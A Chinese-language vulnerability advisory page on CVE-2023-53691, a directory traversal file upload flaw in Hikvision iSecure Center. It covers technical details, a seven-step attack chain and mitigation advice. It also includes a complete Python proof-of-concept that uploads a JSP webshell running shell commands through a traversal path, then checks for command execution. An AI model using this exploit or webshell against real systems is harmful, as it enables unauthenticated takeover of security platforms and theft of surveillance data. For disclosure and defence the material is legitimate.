IPBUF安全漏洞报告
English
CVE-2023-53691 CVSS 8.3 高危

CVE-2023-53691:海康威视iSecure Center目录遍历文件上传漏洞

披露日期: 2025-10-22

漏洞信息

漏洞编号
CVE-2023-53691
漏洞类型
目录遍历/任意文件上传
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Hikvision CSMP (Comprehensive Security Management Platform) iSecure Center

相关标签

目录遍历文件上传远程代码执行Webshell海康威视HikvisioniSecure CenterCSMP安防平台高危漏洞

漏洞概述

CVE-2023-53691是海康威视综合安防管理平台(iSecure Center)中存在的一个高危目录遍历漏洞。该漏洞存在于平台的/center/api/files文件上传接口中,攻击者可以通过构造特殊的文件路径,利用目录遍历技术将恶意文件上传到服务器的非预期目录中。该漏洞影响2023年6月25日之前的所有iSecure Center版本,且已被发现于2024年至2025年间在野利用(In-the-Wild Exploitation),表明该漏洞正在被实际的攻击者积极利用,对全球使用海康威视安防管理平台的用户构成严重威胁。海康威视iSecure Center作为一款综合性的安防管理平台,广泛应用于企业园区、智慧城市、金融机构等场景,负责管理视频监控、门禁系统、报警设备等。一旦该漏洞被成功利用,攻击者可以上传Webshell等恶意文件,从而获取服务器控制权限,进一步窃取敏感监控数据、操控安防设备,甚至将攻击扩展到整个内部网络。由于该漏洞无需认证即可利用,且攻击复杂度低,影响范围广泛,因此被评定为高危级别(CVSS 8.3分)。建议所有使用受影响版本的用户立即采取修复措施,更新至官方修复版本,并加强网络安全防护。

技术细节

该漏洞的核心问题在于海康威视iSecure Center平台的/center/api/files文件上传接口未对用户提交的文件路径进行充分的安全验证和过滤。具体而言,当用户通过该接口上传文件时,服务器端未正确处理文件路径中的目录遍历序列(如../),导致攻击者可以通过构造包含路径遍历字符的文件名或路径参数,将文件上传至服务器文件系统中的任意位置。

从技术层面分析,漏洞利用过程如下:
1. 攻击者首先访问目标系统的/center/api/files文件上传接口;
2. 通过HTTP请求(如POST方法)上传恶意文件,文件名或路径参数中包含目录遍历序列,例如:../../../malicious_file.jsp;
3. 由于服务器端未对路径进行规范化处理和边界检查,恶意文件被写入到Web服务器可访问的目录中;
4. 攻击者随后通过浏览器或其他工具访问上传的恶意文件,即可执行任意代码。

该漏洞的危害主要体现在以下几个方面:
- 无需认证(PR:N):攻击者无需任何凭据即可利用漏洞;
- 网络可利用(AV:N):可通过互联网远程利用;
- 无需用户交互(UI:N):无需受害者配合;
- 影响范围变更(S:C):漏洞利用可能影响到平台管理的所有安防设备。

由于该漏洞已被在野利用,攻击者可能已经将其武器化,用于针对安防系统的定向攻击活动。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过Shodan、FOFA等网络空间搜索引擎,或通过扫描互联网上的海康威视iSecure Center部署实例,识别暴露在公网的目标系统。攻击者可以通过HTTP响应中的特征字符串(如'Hikvision'、'iSecure Center'等)确认目标。
STEP 2
步骤2:漏洞探测
攻击者访问目标系统的/center/api/files文件上传接口,尝试上传包含目录遍历序列(如../)的文件名,测试服务器是否对路径进行过滤和验证。
STEP 3
步骤3:恶意文件构造
攻击者构造包含Webshell或恶意脚本的文件(如JSP、PHP等),并在文件名中加入目录遍历序列,例如../../../shell.jsp,以便将文件上传至Web服务器可执行目录。
STEP 4
步骤4:文件上传利用
攻击者通过POST请求将恶意文件上传至/center/api/files接口,利用目录遍历漏洞绕过路径限制,将Webshell写入到Web根目录或可执行目录中。
STEP 5
步骤5:远程代码执行
攻击者通过浏览器或命令行工具访问已上传的Webshell,执行任意系统命令,获取服务器控制权限。
STEP 6
步骤6:横向移动与数据窃取
获得服务器控制权后,攻击者可以窃取安防平台的敏感配置、监控视频数据、用户凭证,并尝试横向移动至内部网络的其他系统。
STEP 7
步骤7:持久化与控制
攻击者植入后门程序,建立持久化的远程访问通道,以便长期控制目标系统,并可能将受感染系统纳入僵尸网络用于进一步攻击活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2023-53691 - Hikvision iSecure Center Directory Traversal File Upload PoC This PoC demonstrates the directory traversal vulnerability in the file upload endpoint /center/api/files of Hikvision CSMP iSecure Center. """ import requests import sys TARGET_URL = "http://target-host" UPLOAD_ENDPOINT = "/center/api/files" # Malicious JSP webshell content (for demonstration purposes only) WEBSHELL_CONTENT = b"""<%@ page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd}); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } } %>""" def exploit(target_url, traversal_path, filename="shell.jsp"): """ Exploit directory traversal to upload a webshell to the web root directory. :param target_url: Base URL of the target Hikvision iSecure Center :param traversal_path: Directory traversal sequence to escape upload directory :param filename: Name of the malicious file to upload """ upload_url = target_url.rstrip('/') + UPLOAD_ENDPOINT # Construct the traversal filename malicious_filename = traversal_path + filename print(f"[*] Target URL: {upload_url}") print(f"[*] Malicious filename: {malicious_filename}") # Prepare multipart file upload with traversal path files = { 'file': (malicious_filename, WEBSHELL_CONTENT, 'application/octet-stream') } # Additional form data that may be required by the API data = { 'name': malicious_filename, 'type': 'file' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': '*/*', 'Connection': 'close' } try: # Send the malicious upload request response = requests.post( upload_url, files=files, data=data, headers=headers, timeout=30, verify=False ) print(f"[*] Response Status Code: {response.status_code}") print(f"[*] Response Headers: {dict(response.headers)}") print(f"[*] Response Body (first 500 chars): {response.text[:500]}") if response.status_code in [200, 201]: print(f"[+] Upload may have succeeded!") # Try to access the uploaded webshell webshell_url = target_url.rstrip('/') + '/' + filename print(f"[*] Try accessing webshell at: {webshell_url}?cmd=id") check_response = requests.get(webshell_url, params={"cmd": "id"}, timeout=10) print(f"[*] Webshell Response Status: {check_response.status_code}") print(f"[*] Webshell Response: {check_response.text[:500]}") if check_response.status_code == 200 and "uid=" in check_response.text: print("[+] SUCCESS! Webshell is accessible and executing commands!") return True else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url> [traversal_path]") print(f"Example: {sys.argv[0]} http://192.168.1.100:8080") print(f"Example: {sys.argv[0]} http://192.168.1.100:8080 ../../../../webapps/ROOT/") sys.exit(1) target = sys.argv[1] traversal = sys.argv[2] if len(sys.argv) > 2 else "../../../../webapps/ROOT/" requests.packages.urllib3.disable_warnings() success = exploit(target, traversal) sys.exit(0 if success else 1)

影响范围

Hikvision CSMP iSecure Center <= 2023-06-25

防御指南

临时缓解措施
在官方修复版本发布并完成升级之前,建议采取以下临时缓解措施:1)通过网络访问控制列表(ACL)或防火墙规则,限制/center/api/files接口仅允许内网或特定可信IP访问;2)部署WAF规则,拦截包含目录遍历特征(如../、..\、%2e%2e等)的HTTP请求;3)将iSecure Center部署在内网环境中,避免直接暴露在公网;4)定期检查Web服务器目录,清理可疑的上传文件;5)监控异常的网络流量和系统日志,及时发现潜在的攻击行为;6)如发现系统已被入侵,立即隔离受影响系统,进行全面的安全审计和清理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表